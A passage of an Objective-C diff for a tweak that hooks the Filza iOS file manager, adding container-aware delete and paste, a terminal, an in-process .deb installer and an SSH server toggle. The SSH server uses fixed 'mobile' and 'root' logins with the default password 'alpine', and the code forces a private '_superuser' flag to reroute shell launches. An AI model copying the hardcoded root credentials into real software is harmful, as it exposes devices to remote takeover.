Archive moves these items to Documents/FilzaSlop Archive. Delete Permanently cannot be undone."; + UIAlertController *sheet = [UIAlertController + alertControllerWithTitle:items.count == 1 ? @"Remove item?" : @"Remove items?" + message:message preferredStyle:UIAlertControllerStyleActionSheet]; + + __weak id weakController = self; + [sheet addAction:[UIAlertAction actionWithTitle:@"Archive" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + id controller = weakController; + if (controller) archiveSelectedItems(controller, capturedIndexPaths); + }]]; + [sheet addAction:[UIAlertAction actionWithTitle:@"Delete Permanently" + style:UIAlertActionStyleDestructive handler:^(__unused UIAlertAction *action) { + id controller = weakController; + if (!controller) return; + showPermanentDeleteConfirmation(controller, capturedIndexPaths, + items.count); + }]]; + [sheet addAction:[UIAlertAction actionWithTitle:@"Cancel" + style:UIAlertActionStyleCancel handler:nil]]; + + UIPopoverPresentationController *popover = sheet.popoverPresentationController; + if (popover && [self isKindOfClass:UIViewController.class]) { + UIView *view = ((UIViewController *)self).view; + popover.sourceView = view; + popover.sourceRect = CGRectMake(CGRectGetMidX(view.bounds), + CGRectGetMaxY(view.bounds), 1, 1); + popover.permittedArrowDirections = 0; + } + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self presentViewController:sheet animated:YES completion:nil]; +} + +static void performPermanentDelete(id self, NSArray *indexPaths, + void (^completion)(NSArray *)) { + MCMFilzaStart(); + NSArray *items = selectedFileItems(self, indexPaths); + + NSMutableArray *deleted = [NSMutableArray array]; + NSMutableArray *errors = [NSMutableArray array]; + for (id item in items) { + NSString *path = fileItemPath(item); + NSError *error = nil; + if (!path.length || !MCMFilzaPathHasActiveLease(path)) { + setPastePOSIXError(&error, EACCES, @"delete", path ?: @"(unknown)"); + } else if ([NSFileManager.defaultManager removeItemAtPath:path error:&error]) { + MCMFilzaRecordDeletedGeneratedPath(path); + [deleted addObject:item]; + NSLog(@"[ContainerDelete] deleted %@", path); + } + if (error) { + [errors addObject:error]; + NSLog(@"[ContainerDelete] failed path=%@ error=%@", path, error); + } + } + if (completion) completion(deleted); + showDeleteFailure(self, errors); + NSLog(@"[ContainerDelete] complete deleted=%lu failed=%lu", + (unsigned long)deleted.count, (unsigned long)errors.count); +} + +static void hook_fileSystemDoTrashSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_fileSystemDoTrashSelectedItems) + ((void(*)(id, SEL, id, id))orig_fileSystemDoTrashSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + hook_fileSystemAskDeleteItems(self, NSSelectorFromString(@"askDeleteItems:"), + indexPaths ?: @[]); + if (completion) completion(@[]); +} + +static void hook_pageDoTrashSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_pageDoTrashSelectedItems) + ((void(*)(id, SEL, id, id))orig_pageDoTrashSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + hook_fileSystemAskDeleteItems(self, NSSelectorFromString(@"askDeleteItems:"), + indexPaths ?: @[]); + if (completion) completion(@[]); +} + +static void hook_fileSystemDoEraseSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_fileSystemDoEraseSelectedItems) + ((void(*)(id, SEL, id, id))orig_fileSystemDoEraseSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + performPermanentDelete(self, indexPaths, completion); +} + +static void hook_pageDoEraseSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_pageDoEraseSelectedItems) + ((void(*)(id, SEL, id, id))orig_pageDoEraseSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + performPermanentDelete(self, indexPaths, completion); +} + +static dispatch_queue_t pasteCopyQueue(void) { + static dispatch_queue_t queue; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + queue = dispatch_queue_create("local.filzamod.container-copy", DISPATCH_QUEUE_SERIAL); + }); + return queue; +} + +static IMP orig_copyFilesAndDirectoryFromPasteboard = NULL; +static void hook_copyFilesAndDirectoryFromPasteboard(id self, SEL _cmd) { + MCMFilzaStart(); + NSString *destinationDirectory = ((id(*)(id, SEL))objc_msgSend)(self, + NSSelectorFromString(@"currentPath")); + destinationDirectory = localPathFromPasteboardValue(destinationDirectory) + ?: destinationDirectory; + if (!MCMFilzaPathHasActiveLease(destinationDirectory)) { + ((void(*)(id, SEL))orig_copyFilesAndDirectoryFromPasteboard)(self, _cmd); + return; + } + + Class pasteboardClass = NSClassFromString(@"TGPasteboard"); + id pasteboard = [pasteboardClass respondsToSelector:@selector(sharedInstance)] + ? ((id(*)(id, SEL))objc_msgSend)(pasteboardClass, @selector(sharedInstance)) : nil; + NSArray *objects = [pasteboard respondsToSelector:NSSelectorFromString(@"resolveAndGetObjects")] + ? ((id(*)(id, SEL))objc_msgSend)(pasteboard, + NSSelectorFromString(@"resolveAndGetObjects")) : nil; + if (![objects isKindOfClass:NSArray.class] || objects.count == 0) { + ((void(*)(id, SEL))orig_copyFilesAndDirectoryFromPasteboard)(self, _cmd); + return; + } + + UIViewController *controller = self; + dispatch_async(pasteCopyQueue(), ^{ + NSMutableArray *errors = [NSMutableArray array]; + NSUInteger copied = 0; + for (id object in objects) { + if (![object isKindOfClass:NSDictionary.class]) continue; + NSString *source = localPathFromPasteboardValue(object[@"path"]); + NSString *name = [object[@"name"] isKindOfClass:NSString.class] + ? object[@"name"] : source.lastPathComponent; + NSString *destination = uniquePasteDestination(destinationDirectory, name); + NSError *error = nil; + if (!source || !destination) { + setPastePOSIXError(&error, EINVAL, @"resolve paste item", name ?: @"(unknown)"); + } else if (pasteDestinationIsInsideSource(source, destinationDirectory)) { + setPastePOSIXError(&error, EINVAL, @"paste directory into itself", source); + } else if (directCopyItem(source, destination, &error)) { + copied++; + NSLog(@"[ContainerPaste] copied %@ -> %@", source, destination); + } + if (error) { + [errors addObject:error]; + NSLog(@"[ContainerPaste] failed: %@", error.localizedDescription); + } + } + dispatch_async(dispatch_get_main_queue(), ^{ + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if ([controller respondsToSelector:loadSelector]) + ((void(*)(id, SEL))objc_msgSend)(controller, loadSelector); + showPasteFailure(controller, errors); + NSLog(@"[ContainerPaste] complete copied=%lu failed=%lu destination=%@", + (unsigned long)copied, (unsigned long)errors.count, destinationDirectory); + }); + }); +} + +static void runOptInPasteCopyProbe(void) { + if (!getenv("FILZA_PASTE_PROBE")) return; + NSString *source = [NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject + stringByAppendingPathComponent:[NSString stringWithFormat: + @".filza-mod-paste-source-%d", getpid()]]; + NSString *destination = [[MCMFilzaVirtualRoot() + stringByAppendingPathComponent:@"App Groups/group.com.apple.notes"] + stringByAppendingPathComponent:[NSString stringWithFormat: + @".filza-mod-paste-destination-%d", getpid()]]; + NSData *payload = [NSUUID.UUID.UUIDString dataUsingEncoding:NSUTF8StringEncoding]; + BOOL sourceWritten = [payload writeToFile:source atomically:NO]; + NSError *error = nil; + BOOL copied = sourceWritten && directCopyItem(source, destination, &error); + NSData *roundTrip = copied ? [NSData dataWithContentsOfFile:destination] : nil; + BOOL verified = [roundTrip isEqualToData:payload]; + BOOL destinationRemoved = !copied || + [NSFileManager.defaultManager removeItemAtPath:destination error:nil]; + BOOL sourceRemoved = !sourceWritten || + [NSFileManager.defaultManager removeItemAtPath:source error:nil]; + NSLog(@"[ContainerPasteProbe] copied=%d verified=%d cleanup=%d error=%@", + copied, verified, destinationRemoved && sourceRemoved, error); +} + +#pragma mark - SSH settings switch + +static IMP orig_prefNumberOfSections; +static IMP orig_prefNumberOfRows; +static IMP orig_prefCellForRow; +static IMP orig_prefTitleForHeader; +static IMP orig_prefTitleForFooter; +static IMP orig_prefDidSelect; +static NSUInteger gPrefOriginalSections; +static BOOL gPrefSectionsKnown; +static BOOL gPrefLoggedSections; + +static NSArray *WQPrefSectionItems(id self) +{ + Ivar ivar = class_getInstanceVariable([self class], "_items"); + if (!ivar) ivar = class_getInstanceVariable([self class], "_sections"); + if (!ivar) return nil; + id value = object_getIvar(self, ivar); + return [value isKindOfClass:NSArray.class] ? value : nil; +} + +static NSString *WQPrefStringValue(id object, NSArray *keys) +{ + if (![object isKindOfClass:NSDictionary.class]) return nil; + for (NSString *key in keys) { + id value = ((NSDictionary *)object)[key]; + if ([value isKindOfClass:NSString.class] && [value length]) return value; + } + return nil; +} + +static NSUInteger WQPrefOriginalSections(id self, UITableView *tableView) +{ + if (!gPrefSectionsKnown && orig_prefNumberOfSections) { + gPrefOriginalSections = (NSUInteger)((NSInteger(*)(id, SEL, UITableView *)) + orig_prefNumberOfSections)(self, + NSSelectorFromString(@"numberOfSectionsInTableView:"), tableView); + gPrefSectionsKnown = YES; + } + return gPrefOriginalSections; +} + +/// Index of our SSH section. Filza's WebDAV settings are the section +/// containing the air-browser/WebDAV switch, so insert directly below it. +static NSUInteger WQPrefInsertionIndex(id self, UITableView *tableView) +{ + NSUInteger original = WQPrefOriginalSections(self, tableView); + NSArray *items = WQPrefSectionItems(self); + NSUInteger count = MIN(items.count ?: original, original); + + if (!gPrefLoggedSections && count) { + gPrefLoggedSections = YES; + for (NSUInteger i = 0; i < count; i++) + NSLog(@"[Prefs] section %lu header=%@ keys=%@", (unsigned long)i, + WQPrefStringValue(items[i], @[@"header", @"title"]), + [items[i] isKindOfClass:NSDictionary.class] + ? [items[i] allKeys] : @[]); + } + + for (NSUInteger i = 0; i < count; i++) { + NSString *header = nil; + if (orig_prefTitleForHeader) + header = ((NSString *(*)(id, SEL, UITableView *, NSInteger)) + orig_prefTitleForHeader)(self, + NSSelectorFromString(@"tableView:titleForHeaderInSection:"), + tableView, (NSInteger)i); + if (!header.length) + header = WQPrefStringValue(items[i], @[@"header", @"title"]); + if ([header.lowercaseString containsString:@"webdav"] || + [header.lowercaseString containsString:@"dav"]) + return i + 1; + + id rows = nil; + if ([items[i] isKindOfClass:NSDictionary.class]) + rows = ((NSDictionary *)items[i])[@"items"] ?: + ((NSDictionary *)items[i])[@"rows"]; + if ([rows isKindOfClass:NSArray.class]) { + for (id row in rows) { + NSString *title = WQPrefStringValue(row, + @[@"title", @"key", @"identifier"]); + if ([title.lowercaseString containsString:@"webdav"] || + [title.lowercaseString containsString:@"air browser"]) + return i + 1; + } + } + } + return original; +} + +static NSInteger WQPrefMapToOriginal(id self, UITableView *tableView, + NSInteger section) +{ + NSUInteger insertion = WQPrefInsertionIndex(self, tableView); + return (NSUInteger)section < insertion ? section : section - 1; +} + +static NSInteger hook_prefNumberOfSections(id self, SEL _cmd, UITableView *tableView) +{ + NSInteger value = orig_prefNumberOfSections + ? ((NSInteger(*)(id, SEL, UITableView *))orig_prefNumberOfSections)( + self, _cmd, tableView) : 0; + gPrefOriginalSections = (NSUInteger)value; + gPrefSectionsKnown = YES; + return value + 1; +} + +static NSInteger hook_prefNumberOfRows(id self, SEL _cmd, UITableView *tableView, + NSInteger section) +{ + if ((NSUInteger)section == WQPrefInsertionIndex(self, tableView)) return 1; + NSInteger originalSection = WQPrefMapToOriginal(self, tableView, section); + return orig_prefNumberOfRows + ? ((NSInteger(*)(id, SEL, UITableView *, NSInteger))orig_prefNumberOfRows)( + self, _cmd, tableView, originalSection) : 0; +} + +static void hook_sshToggled(id self, SEL _cmd, UISwitch *sender) +{ + BOOL enabled = sender.isOn; + [NSUserDefaults.standardUserDefaults setBool:enabled forKey:@"WQSSHEnabled"]; + if (enabled) { + NSString *error = nil; + if (!WQSSHServerStart(&error)) { + sender.on = NO; + [NSUserDefaults.standardUserDefaults setBool:NO forKey:@"WQSSHEnabled"]; + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:@"SSH Server" + message:error ?: @"Unable to start SSH server" + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleCancel handler:nil]]; + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self presentViewController:alert + animated:YES completion:nil]; + } + } else { + WQSSHServerStop(); + } +} + +static UITableViewCell *hook_prefCellForRow(id self, SEL _cmd, UITableView *tableView, + NSIndexPath *indexPath) +{ + if ((NSUInteger)indexPath.section == WQPrefInsertionIndex(self, tableView)) { + UITableViewCell *cell = [[UITableViewCell alloc] initWithStyle: + UITableViewCellStyleSubtitle reuseIdentifier:@"WQSSHCell"]; + cell.textLabel.text = @"SSH Server"; + cell.detailTextLabel.text = WQSSHServerIsRunning() + ? WQSSHServerURL() : @"mobile / root · password alpine"; + cell.selectionStyle = UITableViewCellSelectionStyleNone; + UISwitch *toggle = [[UISwitch alloc] initWithFrame:CGRectZero]; + toggle.on = WQSSHServerIsRunning() || + [NSUserDefaults.standardUserDefaults boolForKey:@"WQSSHEnabled"]; + [toggle addTarget:self action:NSSelectorFromString(@"wqSSHToggled:") + forControlEvents:UIControlEventValueChanged]; + cell.accessoryView = toggle; + return cell; + } + + NSIndexPath *originalIndexPath = [NSIndexPath indexPathForRow:indexPath.row + inSection:WQPrefMapToOriginal(self, tableView, indexPath.section)]; + return orig_prefCellForRow + ? ((UITableViewCell *(*)(id, SEL, UITableView *, NSIndexPath *)) + orig_prefCellForRow)(self, _cmd, tableView, originalIndexPath) : nil; +} + +static NSString *hook_prefTitleForHeader(id self, SEL _cmd, UITableView *tableView, + NSInteger section) +{ + if ((NSUInteger)section == WQPrefInsertionIndex(self, tableView)) + return @"SSH Server"; + return orig_prefTitleForHeader + ? ((NSString *(*)(id, SEL, UITableView *, NSInteger))orig_prefTitleForHeader)( + self, _cmd, tableView, + WQPrefMapToOriginal(self, tableView, section)) : nil; +} + +static NSString *hook_prefTitleForFooter(id self, SEL _cmd, UITableView *tableView, + NSInteger section) +{ + if ((NSUInteger)section == WQPrefInsertionIndex(self, tableView)) { + if (WQSSHServerIsRunning()) { + return [NSString stringWithFormat: + @"Running · %@ · users: mobile, root · password: alpine", + WQSSHServerURL()]; + } + return @"Enable SSH access for mobile and root (password alpine). " + @"Requires the developer build with libssh."; + } + return orig_prefTitleForFooter + ? ((NSString *(*)(id, SEL, UITableView *, NSInteger))orig_prefTitleForFooter)( + self, _cmd, tableView, + WQPrefMapToOriginal(self, tableView, section)) : nil; +} + +static void hook_prefDidSelect(id self, SEL _cmd, UITableView *tableView, + NSIndexPath *indexPath) +{ + if ((NSUInteger)indexPath.section == WQPrefInsertionIndex(self, tableView)) return; + if (orig_prefDidSelect) { + NSIndexPath *originalIndexPath = [NSIndexPath indexPathForRow:indexPath.row + inSection:WQPrefMapToOriginal(self, tableView, indexPath.section)]; + ((void(*)(id, SEL, UITableView *, NSIndexPath *))orig_prefDidSelect)( + self, _cmd, tableView, originalIndexPath); + } +} + +#pragma mark - Terminal support + +static IMP orig_forkACommandLegacy = NULL; +static IMP orig_forkACommandModern = NULL; +static IMP orig_forkRootShell = NULL; + +static NSString *WQTerminalShellPath(void) +{ + NSString *base = NSBundle.mainBundle.bundlePath; + NSArray *candidates = @[ + [base stringByAppendingPathComponent:@"bins/bin/fish"], + [base stringByAppendingPathComponent:@"bins/bin/bash"], + [base stringByAppendingPathComponent:@"bins/bin/sh"], + @"/bin/sh", + ]; + NSFileManager *fm = [NSFileManager defaultManager]; + for (NSString *candidate in candidates) { + BOOL exists = [fm fileExistsAtPath:candidate]; + BOOL executable = [fm isExecutableFileAtPath:candidate]; + NSLog(@"[Terminal] shell candidate %@ exists=%d executable=%d", + candidate, exists, executable); + if (exists) return candidate; + } + return @"/bin/sh"; +} + +static char **WQMakeEnvironment(NSString *shell) +{ + NSMutableDictionary *environment = + [NSProcessInfo.processInfo.environment mutableCopy]; + NSString *base = NSBundle.mainBundle.bundlePath; + environment[@"PATH"] = [NSString stringWithFormat: + @"%@/bins/bin:%@/bins/usr/bin:%@/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin", + base, base, base]; + NSString *libraryPath = [base stringByAppendingPathComponent:@"usr/lib"]; + if ([[NSFileManager defaultManager] fileExistsAtPath:libraryPath]) { + environment[@"DYLD_LIBRARY_PATH"] = libraryPath; + environment[@"LD_LIBRARY_PATH"] = libraryPath; + } + environment[@"HOME"] = NSHomeDirectory(); + environment[@"TERM"] = @"xterm-256color"; + environment[@"TERM_PROGRAM"] = @"Filza"; + environment[@"SHELL"] = shell; + environment[@"LANG"] = @"en_US.UTF-8"; + environment[@"LC_ALL"] = @"en_US.UTF-8"; + environment[@"TMPDIR"] = NSTemporaryDirectory(); + + char **envp = calloc(environment.count + 1, sizeof(char *)); + NSUInteger index = 0; + for (NSString *key in environment) + envp[index++] = strdup([NSString stringWithFormat:@"%@=%@", + key, environment[key]].UTF8String); + envp[index] = NULL; + return envp; +} + +static void WQFreeEnvironment(char **envp) +{ + if (!envp) return; + for (NSUInteger index = 0; envp[index]; index++) free(envp[index]); + free(envp); +} + +// TerminalViewController and NewTerminalViewController both have a +// _superuser flag at ivar offset 8. Forcing it sends the launch through +// -[TGRootFileManager forkRootShell:chdir:], which we implement with +// posix_spawn + a real PTY instead of the unavailable root helper. +static void WQForceSandboxShell(id self) +{ + Ivar ivar = class_getInstanceVariable([self class], "_superuser"); + if (!ivar) return; + *(BOOL *)((char *)(__bridge void *)self + ivar_getOffset(ivar)) = YES; +} + +static void hook_forkACommandLegacy(id self, SEL _cmd) +{ + WQForceSandboxShell(self); + if (orig_forkACommandLegacy) + ((void(*)(id, SEL))orig_forkACommandLegacy)(self, _cmd); +} + +static void hook_forkACommandModern(id self, SEL _cmd) +{ + WQForceSandboxShell(self); + if (orig_forkACommandModern) + ((void(*)(id, SEL))orig_forkACommandModern)(self, _cmd); +} + +static int hook_forkRootShell(id self, SEL _cmd, int *pidOut, NSString *chdirPath) +{ + return WQTerminalSpawnShell(pidOut, chdirPath); +} + +static void WQTestTerminalSpawn(void) +{ + static BOOL ran; + if (ran) return; + ran = YES; + BOOL ready = WQTerminalPrepare(); + NSLog(@"[Terminal] ios_system prepare=%d", ready); +} + +#pragma mark - Filza installer + +static IMP orig_installerInstall; +static IMP orig_dpkgInfo; + +static BOOL hook_isDEBAvailable(id self, SEL _cmd) +{ + // Filza normally requires a jailbreak dpkg on disk. We provide an + // in-process implementation, so the .deb preview must be allowed. + return YES; +} + +static NSString *hook_dpkgInfo(id self, SEL _cmd, NSString *path) +{ + NSString *info = WQDebInfoText(path); + if (info.length) return info; + if (orig_dpkgInfo) + return ((NSString *(*)(id, SEL, NSString *))orig_dpkgInfo)(self, _cmd, path); + return @""; +} + +static NSString *WQInstallerFilePath(id installer) +{ + NSMutableArray *candidates = [NSMutableArray arrayWithObject:installer]; + if ([installer respondsToSelector:@selector(navigationController)]) { + id navigation = ((id(*)(id, SEL))objc_msgSend)(installer, + @selector(navigationController)); + if (navigation) [candidates addObject:navigation]; + } + for (id candidate in candidates) { + for (NSString *selectorName in @[@"fileItem", @"file", @"openWithFileItem"]) { + SEL selector = NSSelectorFromString(selectorName); + if (![candidate respondsToSelector:selector]) continue; + id item = ((id(*)(id, SEL))objc_msgSend)(candidate, selector); + if ([item respondsToSelector:NSSelectorFromString(@"filePath")]) { + NSString *path = ((id(*)(id, SEL))objc_msgSend)(item, + NSSelectorFromString(@"filePath")); + if ([path isKindOfClass:NSString.class] && + [path.pathExtension.lowercaseString isEqualToString:@"deb"] && + [NSFileManager.defaultManager fileExistsAtPath:path]) + return path; + } + } + } + id information = [installer valueForKey:@"_information"]; + if ([information isKindOfClass:NSString.class]) { + NSString *informationPath = (NSString *)information; + if ([informationPath.pathExtension.lowercaseString isEqualToString:@"deb"] && + [NSFileManager.defaultManager fileExistsAtPath:informationPath]) + return informationPath; + } + return nil; +} + +static void hook_installerInstall(id self, SEL _cmd, id sender) +{ + NSString *path = WQInstallerFilePath(self); + if (!path.length) { + if (orig_installerInstall) + ((void(*)(id, SEL, id))orig_installerInstall)(self, _cmd, sender); + return; + } + NSLog(@"[Installer] using in-process dpkg for %@", path); + dispatch_async(dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^{ + NSString *message = nil; + BOOL ok = WQInstallDebPackage(path, &message); + dispatch_async(dispatch_get_main_queue(), ^{ + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:ok ? @"Package Installed" : @"Install Failed" + message:message ?: (ok ? @"Installed to Documents/.terminal/root" + : @"Unknown error") + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) { + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self dismissViewControllerAnimated:YES + completion:nil]; + }]]; + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self presentViewController:alert + animated:YES completion:nil]; + }); + }); +} + +#pragma mark - Hook Installation + +static void installHooks(void) { + Class terminalLegacy = NSClassFromString(@"TerminalViewController"); + if (terminalLegacy) { + Method method = class_getInstanceMethod(terminalLegacy, + NSSelectorFromString(@"forkACommand")); + if (method) { + orig_forkACommandLegacy = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_forkACommandLegacy); + } + } + Class terminalModern = NSClassFromString(@"NewTerminalViewController"); + if (terminalModern) { + Method method = class_getInstanceMethod(terminalModern, + NSSelectorFromString(@"forkACommand")); + if (method) { + orig_forkACommandModern = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_forkACommandModern); + } + } + Class rootFileManager = NSClassFromString(@"TGRootFileManager"); + if (rootFileManager) { + Method method = class_getInstanceMethod(rootFileManager, + NSSelectorFromString(@"forkRootShell:chdir:")); + if (method) { + orig_forkRootShell = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_forkRootShell); + } + } + + Class availability = NSClassFromString(@"TGAvailability"); + if (availability) { + Method method = class_getClassMethod(availability, + NSSelectorFromString(@"IsDEBAvailable")); + if (method) { + method_setImplementation(method, (IMP)hook_isDEBAvailable); + NSLog(@"[Installer] enabled built-in dpkg availability"); + } + } + + Class dpkgManagerClass = NSClassFromString(@"TGRootFileManager"); + if (dpkgManagerClass) { + Method method = class_getInstanceMethod(dpkgManagerClass, + NSSelectorFromString(@"dpkgInfo:")); + if (method) { + orig_dpkgInfo = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_dpkgInfo); + NSLog(@"[Installer] enabled built-in dpkg info reader"); + } + } + + Class installerVC = NSClassFromString(@"InstallerViewController"); + if (installerVC) { + Method method = class_getInstanceMethod(installerVC, + NSSelectorFromString(@"install:")); + if (method) { + orig_installerInstall = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_installerInstall); + NSLog(@"[Installer] hooked InstallerViewController install:"); + } + } + + Class preferencesVC = NSClassFromString(@"TGPreferencesTableViewController"); + if (preferencesVC) { + Method m; + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"numberOfSectionsInTableView:")); + if (m) { + orig_prefNumberOfSections = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefNumberOfSections); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:numberOfRowsInSection:")); + if (m) { + orig_prefNumberOfRows = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefNumberOfRows); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:cellForRowAtIndexPath:")); + if (m) { + orig_prefCellForRow = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefCellForRow); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:titleForHeaderInSection:")); + if (m) { + orig_prefTitleForHeader = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefTitleForHeader); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:titleForFooterInSection:")); + if (m) { + orig_prefTitleForFooter = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefTitleForFooter); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:didSelectRowAtIndexPath:")); + if (m) { + orig_prefDidSelect = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefDidSelect); + } + class_addMethod(preferencesVC, NSSelectorFromString(@"wqSSHToggled:"), + (IMP)hook_sshToggled, "v@:@"); + } + + Class preferences = NSClassFromString(@"TGPreferences"); + if (preferences) { + Method defaultPath = class_getInstanceMethod(preferences, NSSelectorFromString(@"defaultPath")); + if (defaultPath) method_setImplementation(defaultPath, (IMP)hook_defaultPath); + + Method startBrowser = class_getInstanceMethod(preferences, + NSSelectorFromString(@"startAirBrowser")); + if (startBrowser) method_setImplementation(startBrowser, + (IMP)hook_startAirBrowser); + Method stopBrowser = class_getInstanceMethod(preferences, + NSSelectorFromString(@"stopAirBrowser")); + if (stopBrowser) method_setImplementation(stopBrowser, + (IMP)hook_stopAirBrowser); + Method serverStarted = class_getInstanceMethod(preferences, + NSSelectorFromString(@"isServerStarted")); + if (serverStarted) method_setImplementation(serverStarted, + (IMP)hook_isServerStarted); + Method connectionUrl = class_getInstanceMethod(preferences, + NSSelectorFromString(@"connectionUrl")); + if (connectionUrl) method_setImplementation(connectionUrl, + (IMP)hook_connectionUrl); + Method connectionUrlHost = class_getInstanceMethod(preferences, + NSSelectorFromString(@"connectionUrlWithHostname")); + if (connectionUrlHost) method_setImplementation(connectionUrlHost, + (IMP)hook_connectionUrlWithHostname); + Method trashDir = class_getInstanceMethod(preferences, + NSSelectorFromString(@"trashDir")); + if (trashDir) method_setImplementation(trashDir, (IMP)hook_trashDir); + } + + Class fileSystemController = NSClassFromString(@"TGFileSystemListViewController"); + if (fileSystemController) { + Method setCurrentPath = class_getInstanceMethod( + fileSystemController, NSSelectorFromString(@"setCurrentPath:")); + if (setCurrentPath) { + orig_fileSystemSetCurrentPath = method_getImplementation(setCurrentPath); + method_setImplementation(setCurrentPath, (IMP)hook_fileSystemSetCurrentPath); + } + Method viewWillAppear = class_getInstanceMethod( + fileSystemController, @selector(viewWillAppear:)); + if (viewWillAppear) { + orig_fileSystemViewWillAppear = method_getImplementation(viewWillAppear); + method_setImplementation(viewWillAppear, (IMP)hook_fileSystemViewWillAppear); + } + SEL editableSelector = NSSelectorFromString(@"updateEditableUI"); + Method updateEditableUI = class_getInstanceMethod(fileSystemController, + editableSelector); + if (updateEditableUI) { + orig_fileSystemUpdateEditableUI = method_getImplementation(updateEditableUI); + const char *types = method_getTypeEncoding(updateEditableUI); + // updateEditableUI is inherited from TGPageViewController in this + // Filza build. Add a subclass override rather than modifying every + // page controller in the application. + if (!class_addMethod(fileSystemController, editableSelector, + (IMP)hook_fileSystemUpdateEditableUI, types)) + method_setImplementation(updateEditableUI, + (IMP)hook_fileSystemUpdateEditableUI); + } + + SEL pageDeleteSelector = NSSelectorFromString(@"pageDeleteAction"); + Method pageDeleteAction = class_getInstanceMethod(fileSystemController, + pageDeleteSelector); + if (pageDeleteAction) { + orig_fileSystemPageDeleteAction = method_getImplementation(pageDeleteAction); + const char *types = method_getTypeEncoding(pageDeleteAction); + if (!class_addMethod(fileSystemController, pageDeleteSelector, + (IMP)hook_fileSystemPageDeleteAction, types)) + method_setImplementation(pageDeleteAction, + (IMP)hook_fileSystemPageDeleteAction); + } + + SEL deleteSelectedSelector = NSSelectorFromString(@"deleteSelectedItems"); + Method deleteSelected = class_getInstanceMethod(fileSystemController, + deleteSelectedSelector); + if (deleteSelected) { + orig_fileSystemDeleteSelectedItems = method_getImplementation(deleteSelected); + method_setImplementation(deleteSelected, + (IMP)hook_fileSystemDeleteSelectedItems); + } + + SEL askDeleteSelector = NSSelectorFromString(@"askDeleteItems:"); + Method askDelete = class_getInstanceMethod(fileSystemController, + askDeleteSelector); + Method parentAskDelete = class_getInstanceMethod( + class_getSuperclass(fileSystemController), askDeleteSelector); + if (askDelete && parentAskDelete) { + parentFileSystemAskDeleteItems = method_getImplementation(parentAskDelete); + method_setImplementation(askDelete, + (IMP)hook_fileSystemAskDeleteItems); + } + + SEL trashSelector = NSSelectorFromString( + @"doTrashSelectedIndexPaths:completion:"); + Method trashSelected = class_getInstanceMethod(fileSystemController, + trashSelector); + if (trashSelected) { + orig_fileSystemDoTrashSelectedItems = method_getImplementation(trashSelected); + method_setImplementation(trashSelected, + (IMP)hook_fileSystemDoTrashSelectedItems); + } + + SEL eraseSelector = NSSelectorFromString( + @"doEraseSelectedIndexPaths:completion:"); + Method eraseSelected = class_getInstanceMethod(fileSystemController, + eraseSelector); + if (eraseSelected) { + orig_fileSystemDoEraseSelectedItems = method_getImplementation(eraseSelected); + method_setImplementation(eraseSelected, + (IMP)hook_fileSystemDoEraseSelectedItems); + } + } + + Class pageController = NSClassFromString(@"TGPageViewController"); + if (pageController) { + SEL askDeleteSelector = NSSelectorFromString(@"askDeleteItems:"); + Method askDelete = class_getInstanceMethod(pageController, askDeleteSelector); + if (askDelete) { + orig_pageAskDeleteItems = method_getImplementation(askDelete); + if (!parentFileSystemAskDeleteItems) + parentFileSystemAskDeleteItems = orig_pageAskDeleteItems; + method_setImplementation(askDelete, + (IMP)hook_fileSystemAskDeleteItems); + } + + SEL trashSelector = NSSelectorFromString( + @"doTrashSelectedIndexPaths:completion:"); + Method trashSelected = class_getInstanceMethod(pageController, trashSelector); + if (trashSelected) { + orig_pageDoTrashSelectedItems = method_getImplementation(trashSelected); + method_setImplementation(trashSelected, + (IMP)hook_pageDoTrashSelectedItems); + } + + SEL eraseSelector = 